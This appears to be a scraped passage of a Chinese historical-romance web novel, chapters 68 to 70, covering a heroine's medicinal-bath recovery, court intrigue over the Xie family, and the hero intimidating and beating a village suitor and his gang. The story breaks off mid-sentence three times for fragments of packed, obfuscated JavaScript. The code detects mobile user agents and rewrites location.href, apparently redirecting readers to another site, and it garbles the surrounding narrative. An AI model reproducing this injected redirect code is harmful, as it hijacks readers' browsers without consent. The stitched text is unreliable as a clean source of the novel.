孟青涓赶忙劝阻道:“别慌,你别动。小玉这是刚泡完药浴,她身体太过虚弱,需好好调养。” 秦熠心疼地看着唇色苍白的宁玉瑶,问孟青涓:“她每次泡完药浴都会这样吗?” 孟青涓将宁玉瑶放在床上,为他们两人盖好被子,笑着回道:“等她身体调养好了,就不会这般痛苦了。你们好好休息,我回去准备晚饭,一会儿给你们送来。” “谢谢涓姨。” 房间的门被关上。秦熠轻轻挪动手臂,温柔地抚摸着宁玉瑶的脸颊。 宁玉瑶勉强睁开眼睛,看到他担忧的眼神,虚弱地笑着安抚道:“熠哥哥,别担心……” “嘘,别说话。”秦熠用手指抵住她的唇,“好好睡一觉。” “嗯。”宁玉瑶确实也没力气多说,不再勉强支撑,沉沉睡去。 68.跋扈 宁玉瑶醒来时,入目便是秦熠安静的睡颜。她微微一动,发现自己的手被秦熠紧紧握着。 她想起自己身上仅裹着一张毯子,赶紧趁着秦熠醒来之前起身穿好衣服。 小谷村既无日冕也无刻漏,村里的人始终遵循着日出而作日落而息的习惯。 宁玉瑶望向窗外,夕阳的余晖洒落在窗棂上,给屋内的陈设镀上了一层金辉。 时间还算早,反正眼下也无事可做,宁玉瑶便重新躺下,抓着秦熠的手指把玩起来。 她试探着给秦熠把了把脉,但到底学艺不精,反复感受了许久,她也没把出个确切的名堂,只是隐隐觉得秦熠的脉象比最初几日有力了许多。 她开心地在床上滚了一圈。 “什么事这么高兴?” 宁玉瑶闻声抬起头,秦熠正含着笑望向她。 她轻轻捏了捏秦熠的手指,露出灿烂的笑容,“熠哥哥恢复得快,我自然高兴。” 秦熠凝视她璀璨的眼眸,想起她被人抱进来时虚弱的模样。他轻声问道:“你每次泡药浴都如此难受吗?” 宁玉瑶心虚地点头,她知道自己的模样让秦熠担心了。 秦熠眉头紧锁,又问道:“就没有其他较为缓和的法子吗?” 宁玉瑶轻轻摇头,并未说出江老当时直言若不赶紧医治,命都保不住的那些话,只是笑着安慰道:“其实泡药浴也没那么糟,虽说泡的时候会疼,可每次睡一觉醒来,就会感觉身体舒服不少。” 秦熠仔细端详着她的脸色,发觉确实比之前好了许多,这才放下心来。 他接着又问:“那需要泡多长时间?” “前十五次需每隔一日泡一次,待泡完这一个月后,再根据身体恢复的情况进行调整。” 既然这是为了宁玉瑶的身体着想,秦熠即便再心疼,也不能阻止。 只是次日,江思明来为他针灸时,他忍不住开口问道:“江老,小玉的身体只有用药浴这一种法子吗?” 江思明神色专注,沉心静气地将银针插入秦熠的后腰处,才不紧不慢地回答:“没有更好的法子,小玉是胎里带来的不足,不但要泡药浴,还得吃药。若不将这不足之处补好,等她年老之时,寿命不长倒是一了百了,缠绵病榻那才真的要命。” 秦熠张了张嘴,本想说太医院院正都未曾提及她的身体如此严重,但念及不能暴露身份,只得硬生生地把到嘴边的话咽了回去。 江思明行医多年,察言观色的本事自然不弱,早就猜到这二人身份不凡,家中定有名医。 他也十分理解这些十多岁的小辈对自己这个消失了二十多年的老头子心存疑虑。任谁也不敢轻易将自己的性命托付给一个不知根底的人。 然而,理解归理解,不代表他没有脾气。江思明冷哼一声,问道:“如今在大宸,医术最为高超的是谁?” 一旁的宁玉瑶听到这话,眼中有几分诧异。她疑惑地问:“医术还能分出个第一第二来?” 江思明反问道:“为何不能?” 宁玉瑶小声嘀咕:“术业有专攻嘛,即便都是医者,所擅长的领域也各不相同,这要如何比较?” 譬如一直为她调养身体的方太医乃是千金科圣手,而太医院中更有擅长治毒的、擅长治疗跌打损伤的,这怎么好比较。 江思明颇为不屑:“那是他们学艺不精!哪有医者治病只治一种的?难道来了别的病人就不治了?” “嗯嗯嗯,他们自然是比不上您这般厉害。”宁玉瑶赶紧说道,江老年逾九十,可不能给老人家气出个好歹来。 她沉思片刻后接着说道:“那太医院院正应当算是医术最为顶尖的吧?” 江思明哼哼两声:“勉强算吧,你们太医院的院正叫什么名字?” 宁玉瑶仔细回忆着陆院正的名字,过了一会儿才说道:“好像是叫陆广维,您认识他吗?” 江思明听到这个名字,脸上的表情微微一滞,随后扯了扯嘴角,语气僵硬地说道:“无名小儿,不认识。” 心中却长叹一声,这小子竟然能混上太医院院正之位,看来这大宸杏林要完。 宁玉瑶与趴在那里的秦熠对视一眼,瞧江老这模样,可不像是不认识陆院正的样子,不过既然江老不想提及此事,他们自然也不能勉强老人家。 待江思明起了针离开后,秦熠和宁玉瑶凑在一起,嘀嘀咕咕地猜测着江老爷子究竟有什么来头。 宁玉瑶压低声音说道:“陆院正肯定是江老的晚辈,还曾得到过江老的教导。” 秦熠:“嗯,而且江老很看不上陆院正,不然也不会矢口否认。” 宁玉瑶斜睨了他一眼,“你很有经验嘛?” 秦熠笑嘻嘻地回道:“那是自然。我爹不想认我这个儿子的时候,跟刚才江老的表情简直一模一样。” “那你还挺骄傲,”宁玉瑶伸手拽了拽秦熠的耳垂,随后又轻叹一口气,“可惜我以前对医者的事情完全不了解,也不知道陆院正师承何处,否则还能顺着这条线索好好猜一猜。” 秦熠倒是一副满不在乎的样子,他现在已经知晓江老爷子的医术在陆院正之上,心里便安稳下来。 “等我们回到雁京直接去问陆院正便是,若江老真是陆院正的长辈,他自然会想办法来接江老回去。” 宁玉瑶歪着脑袋,认真地思索了一番,觉得秦熠说得有道理。反正他们现在也猜不出江老的来头,干脆将此事暂且搁置一旁,安心休息。 * “殿下,殿下,求您救救谢家吧!”宣王妃谢氏满脸慌乱,不顾侍卫们的阻拦,冲进了宣王府的书房。 她发丝凌乱,几缕散发垂落下来,遮住了她满是泪痕的面庞。 就在方才,谢氏收到了母亲派人火速送来的消息,嘉阳长公主竟然率兵围了谢家。她来不及整理自己的仪容,便火急火燎地赶来向宣王求助,她实在不明白嘉阳长公主为何会无缘无故地针对谢家。 书房中的宣王祁晖珉正与幕僚们商议此事,被谢氏的突然闯入打断。他皱起眉头,心中涌起一丝不悦。他挥了挥手,示意书房内的幕僚们暂且退下。 祁晖珉扶住王妃的手臂,柔声安抚道:“你放心,谢家不只是你的母家,同时也是本王的亲舅舅家。本王这就进宫向父皇求情。” 即便他心中对这个舅舅极为不耐,可他也明白,谢家毕竟是传承百年的世家大族,暂时还用得上,他必须想办法捞谢家一把。 谢氏听到丈夫要进宫面圣,满脸感激地哽咽道:“辛苦王爷了。” 祁晖珉轻笑着回应:“你我夫妻一场,不必如此见外。快下去休息吧。” 谢氏抿唇,伸手摸了摸自己凌乱的发髻,脸上露出一抹羞涩。知道自己在丈夫面前失了仪态,她微微福身,“臣妾先行告退。” 祁晖珉望着谢氏离去的背影,脸上的笑容逐渐消失。他也很想知道,他的这位好姑母究竟是发了什么疯,为何会突然对谢家出手,而父皇居然如此纵容。 从宣王府前往皇城一路畅通无阻,然而当他来到御书房门口,却被守在那里的苏德茂告知,陛下此时正在与长公主殿下商议要事。 祁晖珉心中虽有不甘,但也清楚不能硬闯。他无奈道:“无碍,本王在此等候就是。”随后便静静地站在御书房外,耐心地等待着。 他在御书房外站了许久,始终不见长公主出来,反倒是淑妃接到消息后亲自来到御书房外。 祁晖珉急忙迎上去,“母妃,您怎么来了?” 淑妃满脸愁容,轻声道:“谢家出了事,我又怎能坐视不管?听闻长公主在此,我特地前来寻找长公主。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434670|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 祁晖珉知道母妃肯定会为谢家之事担忧,他扶着母妃站在御书房门前,继续耐心地等待着。 好在这次没等多久,御书房的大门终于打开,祁婧惠走了出来。 嘉阳长公主一身劲装,梳着男子发冠,身上还沾染着灰尘和泥土,显然是一路匆忙从涑州赶回。 回到雁京后,她甚至连自家府门都未踏入,便直接带领人马围了谢家,随后又马不停蹄地进宫面圣。整个大宸,也唯有她不必在乎殿前失仪这等事宜。 祁婧惠一眼便瞧见了台阶下的淑妃母子二人,她自然清楚他们为何而来。 她踱步至二人面前,还不等他们开口,便轻轻一笑:“倘若我是你们,此刻便不会前来求情,而是赶紧想办法把自己从这件事中摘出去。” 祁晖珉心中大惊,他没想到长公主会说出这样一番话来。但他面上不显,强自镇定地说:“姑母,我不知道您所说是什么意思,我只是……” “问你母妃吧。”祁婧惠不耐烦跟他掰扯,她看向淑妃,眼中闪过一丝凌厉,“希望你还记得十七年前本宫是个什么样的人。” 说罢,不等他们回应,祁婧惠便转身朝着出宫的方向走去。连续十多日快马加鞭地赶路,她确实有些疲惫。与其在这里与他们白费口舌,不如回去好好休息一番,毕竟接下来还有一场硬仗要打。 留在原地的淑妃,惊疑不定地盯着祁婧惠远去的背影。 祁晖珉紧攥着拳头,转头看向淑妃,“母妃,姑母这是何意?” 淑妃示意此地不是说话的地方,待她带着儿子回到了自己的宫内,淑妃才开口说道:“你切不可小瞧长公主。虽说如今她与雁京城中其他主母看似一般无二,但想当年,她可是雁京城中出了名的任性妄为。” 说得不好听些,甚至可以算是嚣张跋扈。 祁晖珉愈发疑惑,他皱着眉头问道:“是因为姑母救了父皇的女眷吗?”在他看来,此事虽重大,可还不至于让她在父皇面前这般目无法纪。 “不止如此。”淑妃轻声说道,“当年保太子之位时,长公主也是出了大力。当年之事如今已无人能说得清全貌,只知道先帝虽不喜先太后和陛下,却对长公主百般纵容。那时,就连朝廷大臣,长公主也是说打就打。陛下的太子之位,有很大一部分原因便是长公主殿下在宫外劝服了那些大臣。” 至于她是如何劝服那些有意废太子的大臣们的,那就全靠她的一双拳头。嘉阳长公主办事,向来是先兵后礼,从不讲那些虚头巴脑的东西,直接开打,打服为止。 那些平日里只愿对宠妃阿谀奉承的大臣们,又有几个是真正的硬骨头? 祁晖珉紧紧皱着眉头,不解地问道:“先帝居然会如此纵容姑母殴打朝廷官员?” 这便涉及到先帝昏庸无道了,淑妃可不敢直言这些大逆不道的话。 不过除了这一点,以先帝对先太后的厌恶,他对嘉阳长公主的态度也让淑妃十分费解。她微微叹了口气,道:“按理说先帝应当斥责嘉阳长公主才对,却不知为何会如此纵容她。” 为何? 回到府中的祁婧惠也忆起了这些过往。 不过是因为自己是先帝的第一个孩子,在妖妃进宫之前,她也曾尽享父皇的全部宠爱。即便后来妖妃上位,母后一再遭受打压,自己的地位却也未曾降低。 谁也不清楚父皇当初究竟是何种心思,即便她与妖妃起冲突,父皇从未责骂过她。当年她对朝中大臣再如何嚣张跋扈,父皇也从未加以斥责。 当公主时,她便敢殴打朝廷命官,如今她只是带兵围了一个小小太常寺少卿,并未打杀他们。在那些老臣眼里,这确实算不得什么大事。 祁婧惠脸上布满寒霜,暗忖,姓谢的最好能保证瑶儿平安归来,否则你们一家老小都要为本宫的瑶儿陪葬。 69.夜袭 被母亲牵挂着的宁玉瑶刚从河边洗完衣服回来。 路过树林时,一个人影突然窜出,直直地挡在她身前。 宁玉瑶抬眼望去,面前是个文弱书生模样的人,面容清秀,神色中却带着几分让人不适的刻意。 她本不想搭理此人,打算从另一侧绕过去,可她走到哪边,那人就堵在哪边,如同一块怎么也甩不掉的牛皮糖。她眉头紧蹙,满脸不悦地盯着来人。 那书生似乎完全没察觉到宁玉瑶的反感,还装模作样地整理了一下衣襟,脸上挂着温和的笑意,开口道:“小姐,小生冒昧前来,只为结识小姐,小生姓彭……” 宁玉瑶这段时间学了苍荻语,能听懂他的话,但她根本不想听他说完,直接扬起手中的竹篮朝他砸去。 竹篮本身不重,可里面装着泡过水的衣服,这一砸,直接把书生砸倒在地。那书生显然没想到会有如此蛮横的千金小姐,二话不说就动手打人,当下就懵了。 趁着姓彭的书生还没反应过来,宁玉瑶又对着他的头狠狠砸了几下,她才停下动作,看了看手中的竹篮,幸好衣服没掉出来,不然又得重洗。 这打架的方式还是秦熠小时候教她的,打架就打架,别废话,看不顺眼直接揍。她娘也说过,不用怕打错人,打了就打了,以她的身份,就算打错了,对方也得夸她打得好。 宁玉瑶轻哼一声,满脸不屑地从书生身边走过。 彭舒生捂着头,坐在地上,望着宁玉瑶渐渐远去的背影,脸上的笑容瞬间消失得无影无踪,只剩一片阴翳。 真是看不出来,这女子看似一副弱质女流的模样,性子竟如此泼辣。不过,再泼辣又能如何?之前听闻她有一个杀过人的丈夫,可这都十多天了,她丈夫一直在江老家养病,从未露过面,估计是个病秧子。到了这个地方,她又只有一个病秧子丈夫,看她还能嚣张到几时。 而宁玉瑶根本不想去理会那姓彭的到底在盘算着什么。秦熠的身体一天比一天好,她心情愉悦得很。这些无关紧要的人,根本就入不了她的眼。 在院子中晾好衣服,拎着篮子走进房间就看见秦熠百无聊赖地躺在床上。 “刚去洗衣服了?我都说了我好了,我去洗嘛。”秦熠坐起身,要过来拉宁玉瑶,宁玉瑶眼睛一瞪,他又怂怂地躺回去。 其实他早就可以下床活动了,当初在北穆掉到地逢,他可是一刻都未曾休息,在阴暗的地道中走了月余,照样恢复得好好的。如今他修养了十多天,早就好得差不多了。 可宁玉瑶不管,硬压着他在床上多修养几天,秦熠若是不听,她就哭,哭得他没办法,只好又硬生生地睡了两日。 秦熠小声地嘟囔:“我真的好了……” 宁玉瑶不理会他的碎碎念,命令道:“趴着,让我看看你的伤口。” 秦熠老实地脱下上衣,翻过身趴在床上,宁玉瑶仔细看了看伤口的位置,已经结痂了,痂边的皮肤平整,没有红肿,恢复得确实不错。 她拍了拍秦熠的头,“好了,再休息一天,明日就让你出去活动活动。” “还要明天啊……”秦熠哀嚎。 宁玉瑶伸手在他脸上使劲揉了一把,“别吵,让你好好休息又不是要你的命。” 秦熠笑嘻嘻地侧过头,正要说话,忽然看见宁玉瑶手上除了之前的伤疤还多了几道红痕。他连忙抓住她的手,皱着眉头问道:“你的手怎么了?在哪伤着了?” 宁玉瑶任由他揉着自己的手,随意解释道:“估计是篮子勒的,刚才回来的时候遇上个不长眼的东西,我就拿篮子砸了他几下,应该就是那时候弄出来的。” “哪个不长眼的?” “一个自称是书生的人,他好像说自己姓彭……”宁玉瑶将方才的情形告诉秦熠。 秦熠垂下眼帘,遮住自己眼中的狠戾。 宁玉瑶看出秦熠不高兴,她笑着说:“我没事,别小瞧我,他还被我揍得趴在地上了呢。” 秦熠捏着她的手,抬眸看着她,“嗯,我们明安最厉害了,小小书生哪是你的对手。” 宁玉瑶脸上一红,抽出手推了他一把,“谁跟你我们。” 说着转身走出房间继续找江老学医术。 秦熠沉下脸冷笑,癞蛤蟆想吃天鹅肉,也不看自己配不配,被明安揍还是太便宜他了。 夜深人静,小谷村的人已经进入梦乡。 宁玉瑶睡着之后很乖乖巧,安安静静地蜷在秦熠怀中。 秦熠缓缓抽出自己的手,将她身上的被子盖好后,又坐在床边安抚了一会她,才起身离开房间。 今夜天轻云淡,明月高悬于夜空之中。 秦熠径直奔向之前在涓姨那打听到的院子,那个小院在村子另一头道角落里,位置偏僻,周围只有一户人家。 他轻巧地跳过篱笆,站在门口侧耳倾听片刻。里面有一个男人在睡觉,发出如雷的鼾声。 秦熠撇撇嘴,文弱书生的鼾声这么大,估计病得不轻。 随后他熟练地打开门拴,大摇大摆地走进里屋,床上躺着的人睡得正沉,半点没有察觉有人闯入。 秦熠大剌剌地坐在床边,使劲拍了拍床上那人的脸:“醒醒。” 彭舒生被脸上的疼痛唤醒,一睁眼就看见一个人影坐在他床边,他差点惊叫出声,然而秦熠动作极快,直接掐出他的脖子,将他的尖叫声硬生生掐断在喉咙中。 秦熠问:“你姓彭?” 彭舒生惊恐万分,连连点头。下一瞬,掐住他的人手上用力,他只觉眼前一黑,就失去了意识。 再醒来时,他发现自己被吊在湖面上,借着清冷的月光,他才看清将自己捆来这里的歹人。 来人是一个年轻男子,身材高大,虽不是壮硕的体型,却能够轻而易举地拎着他。男子的面相凌厉,尤其是那双狭长的眼睛,看上去就非常不好惹,他看着这个凶狠的陌生男人,心中涌起一股不详的预感。 彭舒生连声喊道:“好汉饶命,不知小生做错了什么? 秦熠狠狠拍了一下他的头,“说大宸话,我知道你会说。” 听到大宸两个字,彭舒生脑中突然闪过一个念头,喊道:“你是小玉的丈夫?你不是个病秧子吗?” 下一瞬,他就看到男人微微眯起眼睛,随后,男人毫不留情地将他扔进河中。河水瞬间涌进他的口鼻,那股令人绝望的溺毙感将他紧紧包围。 彭舒生拼命挣扎,就在他以为自己快要死了的时候,男人又将他拉了上去。 他来不及咳出呛入口中的河水,就又被男人掐住脖子。他听到男人低沉的声音问道:“小玉是你叫的?” 彭舒生赶紧摇头,挣扎着说:“不……不是……是丁……丁姑娘……” 男人似乎很满意他的回答,稍稍松开了手。彭舒生大口地喘着气,心中满是恐惧地看着男人,求饶道:“好汉,我知道丁姑娘不是我这种人可以肖想的,求好汉饶我一命,我保证再没有下次了。” 秦熠弯了弯眼角,拍拍彭舒生的脸,说:“记住你自己说的话,再有下次,就没这么容易了。” 彭舒生连连点头,谄媚地想要再说些什么,却又突然失去了意识。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445599|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等他再次醒来的时候,已经躺在自己的房间里。若不是满身湿漉漉的河水,他真以为自己是做了一个噩梦。 彭舒生躺在床上,想着刚才那个凶狠的男人,心中暗暗咬牙,君子报仇,十年不晚,你们这对不识好歹的狗男女,给我等着。 秦熠轻手轻脚地走进江老的院子里,本来还没想这么轻易放过那小子,想跟他多玩玩。但又怕耽搁久了,万一明安醒来找不到他会担心,便只是简单地教训了两下。 正要打开房门,就听见江老房里传来的声音:“下手注意分寸,别吓着村里的小孩子。” 秦熠知道瞒不过江老,笑着小声应道:“您放心,不会给村子惹麻烦。” 他站在原地等了一会儿,确定那边再没有声音,才放心回了自己房间。 房间里,宁玉瑶睡得并不安稳。她似乎察觉到身边的空落,身子不安地微微扭动着,总觉得缺了些什么。她的眉头微微皱起,挣扎着就要醒来。 没过多久,熟悉的温暖气息将她包围,她听见秦熠的声音在耳边轻声哄着她,宁玉瑶紧皱的眉头缓缓松开,又安心地沉入梦乡。 秦熠亲了亲宁玉瑶的眉心,凝视着她恬静的睡颜,也心情很好地继续睡觉。 翌日一早,阳光洒在宁静的院子里。被宁玉瑶解除了禁令的秦熠满院子转悠,一刻都停不下来。 他似乎有着用不完的精力,院子里的各种事情全都被他包揽下来,完全不让宁玉瑶沾一点手。 宁玉瑶看着秦熠那忙碌的身影,无奈地和江思明一起坐在院中晒太阳,一起看着上蹿下跳地帮江老修屋顶的秦熠。 “你轻点,伤口还没完全好呢,小心别又裂开了。”宁玉瑶对着屋顶上的秦熠喊道。 秦熠稳稳地站在屋顶,应道:“没事,我注意着呢。” 江思明悠闲地躺在躺椅上,轻声说:“这小子还不错,没辜负你的一片真心。” 宁玉瑶闻言,脸颊微红,笑着说:“我自出生起就认识了熠哥哥,他待我也再好不过了。” 江思明闭着眼睛,没有说话。青梅竹马最后反目成仇的例子也不在少数,他们俩的感情好,最主要还是两个孩子心都正。 他想着,从怀中掏出一个精致的金发冠,递给宁玉瑶。 宁玉瑶没要,“晚辈没经过您的允许就拿了您的东西,这个就当是晚辈给您的赔礼。” 江思明轻哼一声:“这玩意给老夫也没用,你看这个村子是能用上金子的样子吗?” 宁玉瑶语塞,“可……” 江思明打断她要说的话,“老夫知道那小子不简单,这个村子肯定困不住你们。你们拿着,外头是苍荻,有点值钱的东西傍身,回大宸的路上也能轻松些。” 宁玉瑶眼眶微红地接过金发冠,“谢谢您。” 秦熠顺着梯子从屋顶爬下来,蹲在江思明身边,笑嘻嘻地问:“江老祖,您想回大宸吗?要是想,等我们回去了再带人来把你偷出去。” 江思明拿起躺椅边的拐杖敲了秦熠一棍子,没好气地说:“偷我个老头子做什么,回去了就别再来了,老头子指不定还活不到那时候呢!” 宁玉瑶赶紧说道:“谁说的!您老人家肯定长命……千岁!” 她本来想说长命百岁,突然想起江老已经九十好几了,长命百岁那可真是在咒老爷子没几年好活了,幸好反应及时,赶紧改口。 江思明啼笑皆非地看着两个胡闹的孩子,挥了挥拐杖让他们赶紧滚蛋:“还千岁呢,那不活成老妖怪了,行了,别在老夫面前晃悠,你们该去田家还债了。” 70.教训 去往田家的小路上,宁玉瑶疑惑道:“不知为何,我怎么询问江老,他都不愿透露自己和陆院正的关系。” 秦熠嘴角微扬:“江老每次提起陆院正,满脸的嫌弃毫不隐藏。估计是觉得陆院正学艺不精,辱没了自己师门,所以才不愿提起吧。” “虽然陆院正的医术确实比江老差了些许,但也不至于辱没师门吧?”宁玉瑶微微歪头。 之前在太医院跟着太医们学习时,她对医术只是一知半解。近来,与江老接触,她能明显感觉到江老医术之精湛,确实比太医们强上不少。不管面对何种病症,用什么药物,江老都可以说是信手拈来。 秦熠揉了揉她的头发,轻声劝道:“算了,既然江老不愿意说,我们也别勉强。等回去之后问陆院正就是。” 提到回去,宁玉瑶望着远方高耸入云的悬崖,愁容满面道:“四周皆是这般高的悬崖,我们该如何上去?” 秦熠却神态轻松,丝毫不把这高度放在心上,“等过些日子伤口完全愈合,我就去寻出路。” 说着,两人来到村子里的一处空地。 空地边缘,几位妇人正围坐在一起闲聊。她们瞧见秦熠和宁玉瑶走来,不约而同地闭上了嘴,半晌都没有言语。 一时间气氛有些尴尬,之前被田莉唤作颜婶子的妇人率先打破了沉默,她笑容满面地招呼道:“玉丫头,这位是你丈夫吧?” 宁玉瑶一听这话,脸颊顿时泛起一抹绯红。她瞥了一眼秦熠,就见他脸上洋溢着灿烂的笑容,她又羞又气,悄悄瞪了他一眼。 她正准备说话,秦熠却抢先大声应道:“是的,婶子。我是小玉的夫婿,您叫我小易就好。” 颜婶子不住地点头夸赞道:“哎呀,这小伙子长得可真俊朗,怪不得玉丫头整日守着你呢。” 宁玉瑶连忙伸手掐了一把秦熠,示意他闭嘴,她对颜婶子说道:“婶子,今日不早了,我们还得去涓姨家干活,就不打扰您了。” 说完,赶紧拉着秦熠匆匆离开。 秦熠耳力过人,远远便听见那些婶子在悄悄议论着。 “难怪那姑娘说她丈夫杀过人呢,瞧这体格,比田大益还高吧?” “我瞧着高上不少,你没瞧见,那汉子不笑的模样,凶着呢……” 秦熠捏了捏拉着他的宁玉瑶的手,问道:“怎么好好的跟她们说我杀过人了?” 宁玉瑶解释道:“她们说的话我不爱听,就拿你出来吓唬她们。也没多说什么,就提了那么一嘴,她们立马不敢说话了。” 她抬起头,看了一眼秦熠皱着的眉头,连忙安抚道:“其实也没什么,她们就是说了几句而已。我们现在人生地不熟的,还是安生待一段日子吧。等你好了我们就离开,不必要为了这些人闹得不痛快。” “嗯。”秦熠应道,“你放心,我知道的。” 他暗自思忖,看来得寻个时机立威。他们至少还需在此地停留两三个月,等明安身体完全康复才能离开。最好能一举震慑住他们,让他们这段时间少去惹明安不快。 不过,秦熠也没想到机会来得这么快。 小谷村的冬日无需耕种,田家要干的活计不过是砍柴挑水之类的琐事。 秦熠如往常一般挑着柴,在树林中穿梭搜寻着。天天吃糊糊,宁玉瑶的脸都尖了,他想找点野味给她改善一下伙食。 刚发现一个兔子洞,正准备去掏时,几个人从旁边蹿了出来,挡住了他的去路。 秦熠眯起眼睛,看着面前手拿木棍的人,哼笑一声:“姓彭的,又想半夜泡澡了?” 彭舒生一听这话,脸涨得通红,大声喝道:“泡什么澡!你有什么可嚣张的?你就算再厉害也不过孤身一人罢了!我们这么多人,岂会怕你!” 彭舒生并未把自己看上别人媳妇,反被半夜拉去河里溺水之事告知自己的兄弟。 他只是添油加醋地说这小子绝非善类,小谷村本就资源匮乏,若任由这小子发展下去,以后他吃肉,他们恐怕连汤都喝不上。如此,他们八兄弟才急忙赶来,要给这小子一个教训。 秦熠似笑非笑地看着他们。 旁边另一个满脸横肉的中年男人看见秦熠脸上的表情,不悦道:“跟他废什么话,他要是不服气把他打倒服气!” 这话秦熠倒是很赞同,打架就打架,废什么话呢。他眼神一凛,瞬间出手,直接动手夺过离他最近那人手中的棍子。长棍一甩,秦熠都没用上正经的棍法,就将这群乌合之众打得哭爹喊娘。 秦熠居高临下地看着躺在地上哭嚎的男人们,脸上满是无趣。他蹲下身,轻轻拍了拍为首那个满脸横肉男子肿胀的脸颊,问:“服气吗?” 那横肉男子即便躺在地上,依旧嘴硬地放着狠话:“你……你给老子等着!有你好看的时候!” 秦熠听了,笑嘻嘻地说:“哦,那就是不服,行,你说的,要是不服气就打到服气。” 没等横肉男子说话,秦熠再次动手,把地上八人又狠狠揍了一顿,尤其重点照顾了彭舒生,把他牙齿打掉两颗。 秦熠再次问道:“这下服气了吧?” “服……服了……”横肉男子已经被打得奄奄一息,他有气无力地说。 秦熠有些遗憾地收回手,怎么不继续犟了呢?都还没打过瘾就结束了,真不经打,没意思。 经过这么一折腾,兔子洞里的兔子早已被吓跑,明安今日吃不到兔肉,这让秦熠极为恼怒。 他用捆柴火的绳子将这八人捆了起来,一路拖回村子。至于垫在最底下的彭舒生会被拖成什么样,他根本不予考虑。 秦熠一踏进村子,果然引起轩然大波。 村里没事的人都跑了出来,七嘴八舌地询问:“这是怎么了?” “易小子,是你一个人打的?” 还有人幸灾乐祸:“这群恶霸,终于碰到硬茬了吧。” 横肉男听到这话,刚想抬头看看是谁说的,就被秦熠拍了一巴掌,只好又把头垂了下去。 秦熠脸上挂着笑说道:“我也不清楚怎么回事,他们几个突然跑出来说要给我点颜色瞧瞧,我虽然刚来村里,但也不能站着挨打呀,就还手把他们打趴下了。 “现在我把他们带回来,就是想问问乡亲们,是不是我哪里做得不好,让大家不高兴了。大家都敞开了说,要是真是我不对,我肯定改,毕竟以后都是一个村子的人了,抬头不见低头见的。” 颜婶子大声喊道:“易小子你哪都好,不关你的事!” 别的村民们也纷纷应和道:“就是,易小子可是干活的一把好手,人又懂事,我们都稀罕着呢。” 秦熠自从能下地之后,便天天在村子里四处晃悠。帮这家修屋顶,为那家搭棚子,再加上他力气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462914|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大,每次去林子里帮田家砍柴时,还会顺便为家里不方便的人家带一些柴火。 这段时间,村里的叔伯婶娘们不知有多喜欢他。 宁玉瑶在一旁看得叹为观止,熠哥哥似乎天生就懂得如何与别人打好关系,在军中的时候就能看出兵士们对他既亲近又敬重。 只是她不知道方才秦熠这么一动手,伤口有没有崩开。 田莉见宁玉瑶皱着眉头,还以为她是在担心秦熠揍了那些人后会被村里人刁难,便在她耳边轻声说道:“别担心,村子里的阿伯阿婶们都很讨厌姓彭的那群人。易禾教训了他们,阿伯阿婶们高兴还来不及呢。” 原来这八个人并非同一年来到村子里的,但他们有一个共同特点,那就是都因偷鸡摸狗得罪了人而被扔下河。他们本就品行不端,凑在一起后在村里自然也不会老实过日子。 这群人既不种地,也不去林子里找吃的,就盯着谁家有粮就去偷。那些家里没有壮丁的人家可烦死他们了。如今看到他们踢到铁板,别提有多高兴了。 不过,更多人的关注点在于:“好家伙,易小子一个人打八个,居然一点事都没有,还把他们都打趴下了。” 有位婶子轻声说:“丁丫头说她男人杀过人,说不定是真的呢……” “喔唷,这么厉害。” 秦熠满意地看到一些心怀不轨之人眼中流露出的忌惮之色,今日的目的已经达成。 他依旧满脸笑容地对村民们说道:“既然乡亲们对我没有不满,那就再好不过了。大家都知道我这人好说话,以后若是有事,直接跟我说就是,可别像他们一样直接动手,毕竟拳脚无眼嘛。” “那是自然,易小子你放心,我们可不像他们那样不讲规矩。” 知晓了事情的来龙去脉后,聚在村口的人渐渐散去。 秦熠解开地上那群人的绳索,说道:“居然没一个人帮你们说话,看来你们这顿揍一点都不冤。” 地上躺着的人不敢再对他嚣张,都默不作声地躺着。 秦熠再次警告他们一番,便带着一直在旁边等候他的宁玉瑶回了江老的院子。 一进屋,宁玉瑶便急忙去扒秦熠的衣服,说道:“快让我看看伤口有没有裂开。” 秦熠抓住她的手,轻声笑道:“没事。” 宁玉瑶不信,瞪着他。 “好好好,给你看就是。”秦熠脱下上衣,转过身去,让她仔细查看。 宁玉瑶认真地查看他的伤痂,确认没事才放心,看着他健壮的身躯,红着脸道:“好了,快把衣服穿上。” 秦熠转过身来,瞧见宁玉瑶脸上的红霞,却不穿衣服,伸手要来抱她,打趣道:“又不是第一次看见了,怎么脸这么红。” 宁玉瑶嗔怒道:“快把衣服穿上!登徒子!” 虽然之前那阵秦熠躺在床上无法动弹,她为他擦洗身体时什么都看过了,但当时满心都是担心与害怕。 